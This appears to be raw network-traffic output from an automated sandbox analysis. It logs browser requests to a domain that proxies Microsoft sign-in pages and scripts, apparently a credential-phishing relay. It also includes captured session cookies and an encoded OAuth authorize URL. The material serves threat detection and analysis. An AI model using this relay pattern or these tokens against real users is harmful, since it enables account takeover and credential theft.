en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA
Source: global traffic	HTTP traffic detected: GET /?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=true HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfG
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8o
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA;
